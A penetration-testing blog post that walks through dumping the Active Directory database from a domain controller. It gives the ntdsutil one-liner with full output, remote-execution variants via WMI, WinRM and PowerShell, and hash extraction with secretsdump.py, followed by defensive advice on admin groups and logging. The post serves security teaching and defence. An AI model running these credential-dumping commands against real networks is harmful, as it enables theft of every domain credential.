In my last 2 posts we discussed recovering passwords in a penetration test, first by using password spraying and then by using LLMNR (using the responder tool).  In both cases we discussed that it’s pretty likely that you’ll recover domain admin credentials in these steps.

Where to go next?  The “gold” in password databases in most environments is Active Directory.  If you have that database, you’ve got *all* the credentials that have domain admin rights, all service passwords, credentials for IT folks, senior management, in most cases SQL passwords, linked Linux and Unix hosts, regular user and machine accounts, everything. 

First, we need to recover the actual database.  Let’s assume that you have at least one set of admin credentials and are operating from an internal host.  Connect to a domain controller – usually this is one of the DNS servers listed in the output of “ipconfig /all” on your host.  If you are on a Linux host, you’ll generally recover the DNS hosts from “cat /etc/resolv.conf”.  In both situations there’s dozens of ways to get the list of DNS hosts though, take your pick.  More accurate than collecting DNS servers though, if you are on Windows host and logged into the domain, you can get the logonserver Domain Controller hostname and DNS domain from local environment variables:

C:\>echo %logonserver%

\\CUSTOMERDC03

 

C:\>echo %userdnsdomain%

CUSTOMERDOMAIN.LOCAL

Next, connect to a domain controller – keep it simple, if it’s enabled, RDP usually does the job here. 

From a command prompt on the domain controller, run (command and output shown below).  Note that you can also snag this data from volume shadow copies, using purpose-built tools such as mimikatz or ninjacopy.  I usually try to use actual Windows commands whenever possible though.  Using what’s already in the OS makes it that much more likely that what you are doing will look like normal system administration to anyone looking at event logs.  Usually there’s nobody looking, but as a pentester you’re always safest off to assume that someone is watching for all of your attacks – keeping under the radar is always the best approach.

Anyway, let’s proceed on using ntdsutil, which is installed on every Domain Controller (Windows 2000 and newer):

C:\Windows\system32>ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntdsdump" q q
ntdsutil: ac i ntds
Active instance set to "ntds".
ntdsutil: ifm
ifm: create full c:\temp\ntdsdump
Creating snapshot...
Snapshot set {fd086867-d666-41de-89aa-ff1483aaf52c} generated successfully.
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} mounted as C:\$SNAP_201802251826
_VOLUMEC$\
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} is already mounted.
Initiating DEFRAGMENTATION mode...
     Source Database: C:\$SNAP_201802251826_VOLUMEC$\Windows\NTDS\ntds.dit
     Target Database: c:\temp\ntdsdump\Active Directory\ntds.dit

                  Defragmentation  Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................

Copying registry files...
Copying c:\temp\ntdsdump\registry\SYSTEM
Copying c:\temp\ntdsdump\registry\SECURITY
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} unmounted.
IFM media created successfully in c:\temp\ntdsdump
ifm: q
ntdsutil: q

You can run ntdsutil interactively, but for the purposes of collecting passwords a one liner gets the job done quickly and easily (and for me, with fewer typos).

If RDP isn’t available, you can collect the same information using a number of other native windows tools to run the same command remotely.

Using WMI:
Wmic /node:COMPUTER /user:DOMAIN\USERNAME /password:PASSWORD process call create “COMMAND”

Using PowerShell (WMI):
Invoke-WMIMethod -Class Win32_Process -Name Create –ArgumentList $COMMAND  –ComputerName $COMPUTER -Credential $CRED

(we covered how to create credentials in powershell here:  https://isc.sans.edu/forums/diary/ 21779/)

Using WinRM:
winrs –r:COMPUTER COMMAND

Using PowerShell Remoting:
Invoke-Command –computername $COMPUTER -command {$COMMAND}
New-PSSession -Name PSCOMPUTER –ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER

OK, now that we have the data dumped, let’s take a look at our target data.  We have the SYSTEM and SECURITY registry hives, as well as the ntds.dit file.

C:\Temp\ntdsdump>dir /s
 Volume in drive C has no label.
 Volume Serial Number is 4E9A-6FF1
Directory of C:\Temp\ntdsdump
02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
02/25/2018  06:26 PM    <DIR>          Active Directory
02/25/2018  06:26 PM    <DIR>          registry
               0 File(s)              0 bytes

 Directory of C:\Temp\ntdsdump\Active Directory

02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
02/25/2018  06:26 PM        77,611,008 ntds.dit
               1 File(s)     77,611,008 bytes

 Directory of C:\Temp\ntdsdump\registry

02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
01/05/2018  11:25 AM           262,144 SECURITY
01/05/2018  11:25 AM        12,582,912 SYSTEM
               2 File(s)     12,845,056 bytes

     Total Files Listed:
               3 File(s)     90,456,064 bytes
               8 Dir(s)   9,891,127,296 bytes free

The next step is to combine these files and parse out the usernames and password hashes.  Again there are multiple methods of getting this done – I’ll go with the one I find quickest and easiest.

Copy our 3 files (ntds.dit, SECURITY and SYSTEM) offline, the rest of the attack happens offline and off your customer’s network.  Be sure that you are careful in handling these files, these do contain user credentials for your customers network (in a hashed form) – leaving them behind on your customer’s network is NOT advisable, and you’ll want to be careful where they land once you start processing them.

Next step, copy these files to your local Kali Linux VM, and combine / parse them using secretsdump.py:

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL –output ntds.out

This dumps the user credentials in the format of:

Userid:SAM:LMHASH:NTLMHASH:::

Where next?  John the Ripper or Hashcat to reverse the hashes in most cases.  Stay tuned for that in Thursday’s post!  Pass the Hash is another common use for hashes, especially if you don't want to wait for the cracking process.

Protections from this Attack:

Keep track of your domain admins for starters.  It’s very common to find dozens of members in the Domain Admins or Enterprise Admins groups.  Other admin groups need protection as well – Print Operators, Server Operators and Account Operators all have more rights than you want to casually give up.

Track logins to Domain Controllers.  Really you’ll want to pump up your logging to track both successful and unsuccessful logins, Domain wide (not just on your Domain Controllers).   Yes, specifics on getting to better Windows / AD logging is on my list too, unless another handler beats me to it!

Limit logins to Domain Controllers.  Most IT groups are a bit too (or way too) free and easy with interactive access to Domain Controllers.  Lots of AD operations can be run from "admin" workstations or servers set up as jump boxes - you don't need RDP access to a Domain Controller to create a userid or change a password for instance.  This is a combination of:

• Better work habits - knowing when you need RDP and when you don't 
• Least privilege access - knowing which job roles need that access, and who needs access to a script or needs the proper tools installed on their workstation.

Also you’ll want to log the creation of and any accesses to Volume Shadow Copies (the other common method of extracting the ntds.dit and system hive).

Unfortunately, the Domain Controller ntds database and system registry hive are accessed dozens if not hundreds (or even thousands) of times per second, logging direct access to those is tough.  There's no "silver bullet" setting in today's versions of Windows that will prevent or catch an attacker who gets far enough in to dump your NTDS.DIT database.

===============
Rob VandenBrink
Compugen